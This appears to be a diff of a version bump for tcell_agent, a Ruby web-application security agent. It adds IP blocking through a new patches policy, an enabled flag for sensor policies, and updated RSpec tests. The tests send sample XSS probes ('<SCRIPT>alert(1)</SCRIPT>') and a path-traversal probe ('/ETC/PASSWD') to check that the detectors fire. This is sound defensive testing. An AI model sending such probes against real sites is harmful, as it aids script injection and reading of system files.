  def initialize
45
45
  @policy_id = nil
46
46
  @options = Hash.new
47
+ @enabled = false
47
48
  end
48
49
 
49
50
  def process_meta_event(appsensor_meta)
51
+ return unless @enabled
52
+
50
53
  check_request_size(appsensor_meta)
51
54
  check_response_size(appsensor_meta)
52
- check_response_size(appsensor_meta)
55
+ check_response_code(appsensor_meta)
53
56
  check_params_for_injections(appsensor_meta)
54
57
  end
55
58
 
@@ -138,8 +141,13 @@ module TCellAgent
138
141
 
139
142
  if policy_json["version"] && policy_json["version"] == 2
140
143
  if data_json
141
- sensors_json = data_json["sensors"]
142
- if sensors_json
144
+ sensors_json = data_json.fetch("sensors", {})
145
+ if sensors_json.empty?
146
+ sensor_policy.enabled = false
147
+
148
+ else
149
+ sensor_policy.enabled = true
150
+
143
151
  DETECTION_POINTS_V2.each do |sensor_name, sensor_class|
144
152
  settings = sensors_json.fetch(sensor_name, {})
145
153
  settings["enabled"] = sensors_json.has_key?(sensor_name)
@@ -151,9 +159,13 @@ module TCellAgent
151
159
 
152
160
  else
153
161
  if data_json
154
- options_json = data_json["options"]
155
- if options_json
162
+ options_json = data_json.fetch("options", {})
163
+
164
+ if options_json.empty?
165
+ sensor_policy.enabled = false
156
166
 
167
+ else
168
+ sensor_policy.enabled = true
157
169
  DETECTION_POINTS_V1.each do |sensor_name|
158
170
  if "req_res_size" == sensor_name
159
171
  enabled = options_json.fetch(sensor_name, false)
@@ -193,7 +205,6 @@ module TCellAgent
193
205
  )
194
206
  end
195
207
  end
196
-
197
208
  end
198
209
  end
199
210
  end
@@ -0,0 +1,52 @@
1
+ module TCellAgent
2
+ module Policies
3
+
4
+ class PatchesPolicy
5
+ attr_accessor :policy_id, :version, :ip_blocking_enabled, :blocked_ips
6
+
7
+ def initialize
8
+ @policy_id = nil
9
+ @version = nil
10
+ @ip_blocking_enabled = false
11
+ @blocked_ips = {}
12
+ end
13
+
14
+ def block_ip?(request)
15
+ @ip_blocking_enabled && @blocked_ips[request.ip]
16
+ end
17
+
18
+ def self.from_json(policy_json)
19
+ return nil unless policy_json
20
+
21
+ policy_id = policy_json["policy_id"]
22
+
23
+ raise "Policy ID missing" unless policy_id
24
+
25
+ patches_policy = PatchesPolicy.new
26
+ patches_policy.policy_id = policy_id
27
+ patches_policy.version = policy_json["version"]
28
+
29
+ if 1 != patches_policy.version
30
+ TCellAgent.logger.warn("Patches Policy not supported: #{patches_policy.version}")
31
+ return patches_policy
32
+ end
33
+
34
+ data = policy_json["data"]
35
+ if data
36
+ blocked_ips = data["blocked_ips"]
37
+ if blocked_ips
38
+ blocked_ips.each do |ip_info|
39
+ if ip_info["ip"]
40
+ patches_policy.ip_blocking_enabled = true
41
+ patches_policy.blocked_ips[ip_info["ip"]] = true
42
+ end
43
+ end
44
+ end
45
+ end
46
+
47
+ patches_policy
48
+ end
49
+ end
50
+
51
+ end
52
+ end
@@ -29,6 +29,17 @@ module TCellAgent
29
29
  def call(env)
30
30
  request = Rack::Request.new(env)
31
31
 
32
+ if TCellAgent.configuration.should_intercept_requests?
33
+ TCellAgent::Instrumentation.safe_block("Checking for blocked ips") do
34
+ patches_policy = TCellAgent.policy(TCellAgent::PolicyTypes::Patches)
35
+ if patches_policy
36
+ if patches_policy.block_ip?(request)
37
+ return [403, {"Content-Type" => "text/plain"}, ["Forbidden based on referer"]]
38
+ end
39
+ end
40
+ end
41
+ end
42
+
32
43
  response = @app.call(env)
33
44
 
34
45
  if TCellAgent.configuration.should_intercept_requests?
@@ -13,7 +13,6 @@ module TCellAgent
13
13
  param,
14
14
  route_id,
15
15
  data=nil,
16
- transaction_id=nil,
17
16
  session_id=nil,
18
17
  user_id=nil,
19
18
  payload=nil,
@@ -28,7 +27,6 @@ module TCellAgent
28
27
  self["m"] = method
29
28
  @raw_location = location
30
29
  @user_id = user_id
31
- @transaction_id = transaction_id
32
30
  @raw_session_id = session_id
33
31
  @payload = payload
34
32
  if pattern
@@ -41,9 +39,6 @@ module TCellAgent
41
39
  if @user_id
42
40
  self["uid"] = @user_id.to_s
43
41
  end
44
- if @transaction_id
45
- self["tid"] = @transaction_id
46
- end
47
42
  if @raw_session_id
48
43
  hmac_key = Util.getHmacKey()
49
44
  self["sid"] = Util.hmac(@raw_session_id, hmac_key)
@@ -1,5 +1,5 @@
1
1
  # See the file "LICENSE" for the full license governing this code.
2
2
 
3
3
  module TCellAgent
4
- VERSION = "0.2.16"
4
+ VERSION = "0.2.17"
5
5
  end
@@ -117,6 +117,13 @@ module TCellAgent
117
117
  match_data = @rule_set.check_violation("param_name", "evil <script>", {}, true)
118
118
  expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <script>", "pattern"=>1})
119
119
  end
120
+
121
+ context "uppercasing param value still matches pattern" do
122
+ it "should return the match" do
123
+ match_data = @rule_set.check_violation("param_name", "evil <SCRIPT>", {}, true)
124
+ expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <SCRIPT>", "pattern"=>1})
125
+ end
126
+ end
120
127
  end
121
128
 
122
129
  context "v1_compatability is off" do
@@ -18,7 +18,7 @@ module TCellAgent
18
18
  end
19
19
  end
20
20
 
21
- context "that is empty" do
21
+ context "that has empty options" do
22
22
  it "should have all sensors disabled" do
23
23
  expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
24
24
 
@@ -32,34 +32,44 @@ module TCellAgent
32
32
  empty_policy = AppSensorPolicy.from_json(policy_json_empty)
33
33
 
34
34
  expect(empty_policy.policy_id).to eq("01a1")
35
- expect(empty_policy.options["req_size"]).to_not be_nil
36
- expect(empty_policy.options["resp_size"]).to_not be_nil
37
- expect(empty_policy.options["resp_codes"]).to_not be_nil
38
- expect(empty_policy.options["xss"]).to_not be_nil
39
- expect(empty_policy.options["sqli"]).to_not be_nil
40
- expect(empty_policy.options["cmdi"]).to_not be_nil
41
- expect(empty_policy.options["fpt"]).to_not be_nil
42
- expect(empty_policy.options["nullbyte"]).to_not be_nil
43
- expect(empty_policy.options["retr"]).to_not be_nil
44
- expect(empty_policy.options["login"]).to_not be_nil
35
+ expect(empty_policy.enabled).to eq(false)
36
+ expect(empty_policy.options["req_size"]).to be_nil
37
+ expect(empty_policy.options["resp_size"]).to be_nil
38
+ expect(empty_policy.options["resp_codes"]).to be_nil
39
+ expect(empty_policy.options["xss"]).to be_nil
40
+ expect(empty_policy.options["sqli"]).to be_nil
41
+ expect(empty_policy.options["cmdi"]).to be_nil
42
+ expect(empty_policy.options["fpt"]).to be_nil
43
+ expect(empty_policy.options["nullbyte"]).to be_nil
44
+ expect(empty_policy.options["retr"]).to be_nil
45
+ expect(empty_policy.options["login"]).to be_nil
46
+ end
47
+ end
45
48
 
46
- expect(empty_policy.options["req_size"].enabled).to eq(false)
47
- expect(empty_policy.options["resp_size"].enabled).to eq(false)
48
- expect(empty_policy.options["resp_codes"].enabled).to eq(false)
49
- expect(empty_policy.options["xss"].enabled).to eq(false)
50
- expect(empty_policy.options["sqli"].enabled).to eq(false)
51
- expect(empty_policy.options["cmdi"].enabled).to eq(false)
52
- expect(empty_policy.options["fpt"].enabled).to eq(false)
53
- expect(empty_policy.options["nullbyte"].enabled).to eq(false)
54
- expect(empty_policy.options["retr"].enabled).to eq(false)
55
- expect(empty_policy.options["login"].enabled).to eq(false)
49
+ context "that has no options" do
50
+ it "should have all sensors disabled" do
51
+ expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
56
52
 
57
- expect(empty_policy.options["xss"].v1_compatability_enabled).to eq(true)
58
- expect(empty_policy.options["sqli"].v1_compatability_enabled).to eq(true)
59
- expect(empty_policy.options["cmdi"].v1_compatability_enabled).to eq(true)
60
- expect(empty_policy.options["fpt"].v1_compatability_enabled).to eq(true)
61
- expect(empty_policy.options["nullbyte"].v1_compatability_enabled).to eq(true)
62
- expect(empty_policy.options["retr"].v1_compatability_enabled).to eq(true)
53
+ policy_json_empty = {
54
+ "policy_id" => "01a1",
55
+ "data" => {
56
+ }
57
+ }
58
+
59
+ empty_policy = AppSensorPolicy.from_json(policy_json_empty)
60
+
61
+ expect(empty_policy.policy_id).to eq("01a1")
62
+ expect(empty_policy.enabled).to eq(false)
63
+ expect(empty_policy.options["req_size"]).to be_nil
64
+ expect(empty_policy.options["resp_size"]).to be_nil
65
+ expect(empty_policy.options["resp_codes"]).to be_nil
66
+ expect(empty_policy.options["xss"]).to be_nil
67
+ expect(empty_policy.options["sqli"]).to be_nil
68
+ expect(empty_policy.options["cmdi"]).to be_nil
69
+ expect(empty_policy.options["fpt"]).to be_nil
70
+ expect(empty_policy.options["nullbyte"]).to be_nil
71
+ expect(empty_policy.options["retr"]).to be_nil
72
+ expect(empty_policy.options["login"]).to be_nil
63
73
  end
64
74
  end
65
75
 
@@ -221,7 +231,7 @@ module TCellAgent
221
231
  end
222
232
  end
223
233
 
224
- context "that is empty" do
234
+ context "that has no sensors" do
225
235
  it "should have all sensors disabled" do
226
236
  expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
227
237
 
@@ -229,41 +239,52 @@ module TCellAgent
229
239
  "policy_id" => "01a1",
230
240
  "version" => 2,
231
241
  "data" => {
232
- "sensors" => {}
233
242
  }
234
243
  }
235
244
 
236
245
  empty_policy = AppSensorPolicy.from_json(policy_json_empty)
237
246
 
238
247
  expect(empty_policy.policy_id).to eq("01a1")
239
- expect(empty_policy.options["req_size"]).to_not be_nil
240
- expect(empty_policy.options["resp_size"]).to_not be_nil
241
- expect(empty_policy.options["resp_codes"]).to_not be_nil
242
- expect(empty_policy.options["xss"]).to_not be_nil
243
- expect(empty_policy.options["sqli"]).to_not be_nil
244
- expect(empty_policy.options["cmdi"]).to_not be_nil
245
- expect(empty_policy.options["fpt"]).to_not be_nil
246
- expect(empty_policy.options["nullbyte"]).to_not be_nil
247
- expect(empty_policy.options["retr"]).to_not be_nil
248
- expect(empty_policy.options["login"]).to_not be_nil
248
+ expect(empty_policy.enabled).to eq(false)
249
+ expect(empty_policy.options["req_size"]).to be_nil
250
+ expect(empty_policy.options["resp_size"]).to be_nil
251
+ expect(empty_policy.options["resp_codes"]).to be_nil
252
+ expect(empty_policy.options["xss"]).to be_nil
253
+ expect(empty_policy.options["sqli"]).to be_nil
254
+ expect(empty_policy.options["cmdi"]).to be_nil
255
+ expect(empty_policy.options["fpt"]).to be_nil
256
+ expect(empty_policy.options["nullbyte"]).to be_nil
257
+ expect(empty_policy.options["retr"]).to be_nil
258
+ expect(empty_policy.options["login"]).to be_nil
259
+ end
260
+ end
249
261
 
250
- expect(empty_policy.options["req_size"].enabled).to eq(false)
251
- expect(empty_policy.options["resp_size"].enabled).to eq(false)
252
- expect(empty_policy.options["resp_codes"].enabled).to eq(false)
253
- expect(empty_policy.options["xss"].enabled).to eq(false)
254
- expect(empty_policy.options["sqli"].enabled).to eq(false)
255
- expect(empty_policy.options["cmdi"].enabled).to eq(false)
256
- expect(empty_policy.options["fpt"].enabled).to eq(false)
257
- expect(empty_policy.options["nullbyte"].enabled).to eq(false)
258
- expect(empty_policy.options["retr"].enabled).to eq(false)
259
- expect(empty_policy.options["login"].enabled).to eq(false)
262
+ context "that has empty sensors" do
263
+ it "should have all sensors disabled" do
264
+ expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
265
+
266
+ policy_json_empty = {
267
+ "policy_id" => "01a1",
268
+ "version" => 2,
269
+ "data" => {
270
+ "sensors" => {}
271
+ }
272
+ }
273
+
274
+ empty_policy = AppSensorPolicy.from_json(policy_json_empty)
260
275
 
261
- expect(empty_policy.options["xss"].v1_compatability_enabled).to eq(false)
262
- expect(empty_policy.options["sqli"].v1_compatability_enabled).to eq(false)
263
- expect(empty_policy.options["cmdi"].v1_compatability_enabled).to eq(false)
264
- expect(empty_policy.options["fpt"].v1_compatability_enabled).to eq(false)
265
- expect(empty_policy.options["nullbyte"].v1_compatability_enabled).to eq(false)
266
- expect(empty_policy.options["retr"].v1_compatability_enabled).to eq(false)
276
+ expect(empty_policy.policy_id).to eq("01a1")
277
+ expect(empty_policy.enabled).to eq(false)
278
+ expect(empty_policy.options["req_size"]).to be_nil
279
+ expect(empty_policy.options["resp_size"]).to be_nil
280
+ expect(empty_policy.options["resp_codes"]).to be_nil
281
+ expect(empty_policy.options["xss"]).to be_nil
282
+ expect(empty_policy.options["sqli"]).to be_nil
283
+ expect(empty_policy.options["cmdi"]).to be_nil
284
+ expect(empty_policy.options["fpt"]).to be_nil
285
+ expect(empty_policy.options["nullbyte"]).to be_nil
286
+ expect(empty_policy.options["retr"]).to be_nil
287
+ expect(empty_policy.options["login"]).to be_nil
267
288
  end
268
289
  end
269
290
 
@@ -0,0 +1,143 @@
1
+ require 'spec_helper'
2
+
3
+ module TCellAgent
4
+ module Policies
5
+
6
+ describe PatchesPolicy do
7
+
8
+ describe "#from_json" do
9
+
10
+ context "with a nil policy" do
11
+ it "should return nil" do
12
+ expect(PatchesPolicy.from_json(nil)).to be_nil
13
+ end
14
+ end
15
+
16
+ context "with an empty policy" do
17
+ it "should raise a policy missing error" do
18
+ expect {
19
+ PatchesPolicy.from_json({})
20
+ }.to raise_error(RuntimeError)
21
+ end
22
+ end
23
+
24
+ context "with an empty version" do
25
+ it "should have empty version" do
26
+ patches = PatchesPolicy.from_json({ "policy_id" => "policy_id" })
27
+ expect(patches.policy_id).to eq("policy_id")
28
+ expect(patches.version).to be_nil
29
+ expect(patches.ip_blocking_enabled).to eq(false)
30
+ expect(patches.blocked_ips).to eq({})
31
+ end
32
+ end
33
+
34
+ context "with an empty data" do
35
+ it "should have disabled ip blocking" do
36
+ patches = PatchesPolicy.from_json({
37
+ "policy_id" => "policy_id",
38
+ "version" => 1
39
+ })
40
+ expect(patches.policy_id).to eq("policy_id")
41
+ expect(patches.version).to eq(1)
42
+ expect(patches.ip_blocking_enabled).to eq(false)
43
+ expect(patches.blocked_ips).to eq({})
44
+ end
45
+ end
46
+
47
+ context "with an empty blocked_ips" do
48
+ it "should have disabled ip blocking" do
49
+ patches = PatchesPolicy.from_json({
50
+ "policy_id" => "policy_id",
51
+ "version" => 1,
52
+ "data" => {}
53
+ })
54
+ expect(patches.policy_id).to eq("policy_id")
55
+ expect(patches.version).to eq(1)
56
+ expect(patches.ip_blocking_enabled).to eq(false)
57
+ expect(patches.blocked_ips).to eq({})
58
+ end
59
+ end
60
+
61
+ context "with blocked_ips" do
62
+ context "as an empty list" do
63
+ it "should have ip blocking disabled" do
64
+ patches = PatchesPolicy.from_json({
65
+ "policy_id" => "policy_id",
66
+ "version" => 1,
67
+ "data" => {
68
+ "blocked_ips" => []
69
+ }
70
+ })
71
+ expect(patches.policy_id).to eq("policy_id")
72
+ expect(patches.version).to eq(1)
73
+ expect(patches.ip_blocking_enabled).to eq(false)
74
+ expect(patches.blocked_ips).to eq({})
75
+ end
76
+ end
77
+
78
+ context "a non empty list" do
79
+ it "should have ip blocking enabled" do
80
+ patches = PatchesPolicy.from_json({
81
+ "policy_id" => "policy_id",
82
+ "version" => 1,
83
+ "data" => {
84
+ "blocked_ips" => [
85
+ {"ip" => "0.0.0.0"},
86
+ {"ip" => "1.1.1.1"}
87
+ ]
88
+ }
89
+ })
90
+ expect(patches.policy_id).to eq("policy_id")
91
+ expect(patches.version).to eq(1)
92
+ expect(patches.ip_blocking_enabled).to eq(true)
93
+ expect(patches.blocked_ips).to eq({"0.0.0.0"=>true, "1.1.1.1"=>true})
94
+ end
95
+
96
+ context "with incorrect key names" do
97
+ it "should skip bad keys" do
98
+ patches = PatchesPolicy.from_json({
99
+ "policy_id" => "policy_id",
100
+ "version" => 1,
101
+ "data" => {
102
+ "blocked_ips" => [
103
+ {"ip_wrong" => "0.0.0.0"},
104
+ {"ip" => "1.1.1.1"}
105
+ ]
106
+ }
107
+ })
108
+ expect(patches.policy_id).to eq("policy_id")
109
+ expect(patches.version).to eq(1)
110
+ expect(patches.ip_blocking_enabled).to eq(true)
111
+ expect(patches.blocked_ips).to eq({"1.1.1.1"=>true})
112
+ end
113
+ end
114
+
115
+ context "with a wrong version number" do
116
+ it "should have ip blocking disabled" do
117
+ logger = double("logger")
118
+ expect(TCellAgent).to receive(:logger).and_return(logger)
119
+ expect(logger).to receive(:warn).with("Patches Policy not supported: 2")
120
+
121
+ patches = PatchesPolicy.from_json({
122
+ "policy_id" => "policy_id",
123
+ "version" => 2,
124
+ "data" => {
125
+ "blocked_ips" => [
126
+ {"ip" => "0.0.0.0"},
127
+ {"ip" => "1.1.1.1"}
128
+ ]
129
+ }
130
+ })
131
+ expect(patches.policy_id).to eq("policy_id")
132
+ expect(patches.version).to eq(2)
133
+ expect(patches.ip_blocking_enabled).to eq(false)
134
+ expect(patches.blocked_ips).to eq({})
135
+ end
136
+ end
137
+ end
138
+ end
139
+ end
140
+ end
141
+
142
+ end
143
+ end
@@ -63,7 +63,7 @@ module TCellAgent
63
63
  TCellAgent.empty_event_queue
64
64
  end
65
65
  it "alerts on get xss payload" do
66
- response = request.get("/foo?xyz=%3Cscript%3Ealert(1)%3C%2Fscript%3E", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
66
+ response = request.get("/foo?xyz=%3CSCRIPT%3Ealert(1)%3C%2Fscript%3E", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
67
67
  expected_as = {
68
68
  "event_type"=>"as",
69
69
  "dp"=>"xss",
@@ -71,12 +71,11 @@ module TCellAgent
71
71
  "remote_addr"=>"1.3.3.4",
72
72
  "m"=>"GET",
73
73
  "pattern"=>"1",
74
- "loc"=>"http://example.org/foo?xyz=",
75
- "tid"=>"a-b-c-d-e-f"}
74
+ "loc"=>"http://example.org/foo?xyz="}
76
75
  expect(TCellAgent.event_queue).to include(expected_as)
77
76
  end
78
77
  it "alerts on post xss payload" do
79
- response = request.post("/foo", :input => "x=<script>alert(1)</script>", 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6')
78
+ response = request.post("/foo", :input => "x=<SCRIPT>alert(1)</SCRIPT>", 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6')
80
79
  expected_as = {
81
80
  "event_type"=>"as",
82
81
  "dp"=>"xss",
@@ -84,8 +83,7 @@ module TCellAgent
84
83
  "remote_addr"=>"1.2.3.4",
85
84
  "m"=>"POST",
86
85
  "pattern"=>"1",
87
- "loc"=>"http://example.org/foo",
88
- "tid"=>"a-b-c-d-e-f"}
86
+ "loc"=>"http://example.org/foo"}
89
87
  expect(TCellAgent.event_queue).to include(expected_as)
90
88
  end #/it
91
89
  it "alerts on get xss payload with route_id" do
@@ -98,8 +96,7 @@ module TCellAgent
98
96
  "rou"=>"myrouteid",
99
97
  "m"=>"GET",
100
98
  "pattern"=>"1",
101
- "loc"=>"http://example.org/foo?xyz=",
102
- "tid"=>"a-b-c-d-e-f"}
99
+ "loc"=>"http://example.org/foo?xyz="}
103
100
  expect(TCellAgent.event_queue).to include(expected_as)
104
101
  end
105
102
  it "checks that payload is sent in xss with route_id" do
@@ -115,7 +112,6 @@ module TCellAgent
115
112
  "m"=>"GET",
116
113
  "pattern"=>"1",
117
114
  "loc"=>"http://example.org/foo?xyz=",
118
- "tid"=>"a-b-c-d-e-f",
119
115
  "payload"=>"<script>alert(1)</script>"}
120
116
  TCellAgent.configuration.allow_unencrypted_appfirewall_payloads= old_uap
121
117
  expect(TCellAgent.event_queue).to include(expected_as)
@@ -146,8 +142,7 @@ module TCellAgent
146
142
  "remote_addr"=>"1.3.3.4",
147
143
  "m"=>"GET",
148
144
  "pattern"=>"1",
149
- "loc"=>"http://example.org/foo?xyz=&def=",
150
- "tid"=>"a-b-c-d-e-f"}
145
+ "loc"=>"http://example.org/foo?xyz=&def="}
151
146
  expect(TCellAgent.event_queue).to include(expected_as)
152
147
  end
153
148
  end #/conext
@@ -166,7 +161,7 @@ module TCellAgent
166
161
  TCellAgent.empty_event_queue
167
162
  end
168
163
  it "alerts on most obvious payload" do
169
- response = request.get("/foo?xyz=/etc/passwd", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
164
+ response = request.get("/foo?xyz=/ETC/PASSWD", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
170
165
  expected_as = {
171
166
  "event_type"=>"as",
172
167
  "dp"=>"fpt",
@@ -174,8 +169,7 @@ module TCellAgent
174
169
  "remote_addr"=>"1.3.3.4",
175
170
  "m"=>"GET",
176
171
  "pattern"=>"2",
177
- "loc"=>"http://example.org/foo?xyz=",
178
- "tid"=>"a-b-c-d-e-f"}
172
+ "loc"=>"http://example.org/foo?xyz="}
179
173
  expect(TCellAgent.event_queue).to include(expected_as)
180
174
  end
181
175
  it "checks that payload is sent" do
@@ -190,7 +184,6 @@ module TCellAgent
190
184
  "m"=>"GET",
191
185
  "pattern"=>"2",
192
186
  "loc"=>"http://example.org/foo?xyz=",
193
- "tid"=>"a-b-c-d-e-f",
194
187
  "payload"=>"/etc/passwd"}
195
188
  TCellAgent.configuration.allow_unencrypted_appfirewall_payloads = old_uap
196
189
  expect(TCellAgent.event_queue).to include(expected_as)
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: tcell_agent
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.2.16
4
+ version: 0.2.17
5
5
  platform: ruby
6
6
  authors:
7
7
  - Garrett
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-05-20 00:00:00.000000000 Z
11
+ date: 2016-06-02 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rest-client
@@ -155,6 +155,7 @@ files:
155
155
  - lib/tcell_agent/policies/http_redirect_policy.rb
156
156
  - lib/tcell_agent/policies/http_tx_policy.rb
157
157
  - lib/tcell_agent/policies/login_fraud_policy.rb
158
+ - lib/tcell_agent/policies/patches_policy.rb
158
159
  - lib/tcell_agent/policies/secure_headers_policy.rb
159
160
  - lib/tcell_agent/rails/auth/authlogic.rb
160
161
  - lib/tcell_agent/rails/auth/devise.rb
@@ -267,6 +268,7 @@ files:
267
268
  - spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
268
269
  - spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
269
270
  - spec/lib/tcell_agent/policies/login_policy_spec.rb
271
+ - spec/lib/tcell_agent/policies/patches_policy_spec.rb
270
272
  - spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
271
273
  - spec/lib/tcell_agent/rails/logger_spec.rb
272
274
  - spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb
@@ -390,6 +392,7 @@ test_files:
390
392
  - spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
391
393
  - spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
392
394
  - spec/lib/tcell_agent/policies/login_policy_spec.rb
395
+ - spec/lib/tcell_agent/policies/patches_policy_spec.rb
393
396
  - spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
394
397
  - spec/lib/tcell_agent/rails/logger_spec.rb
395
398
  - spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb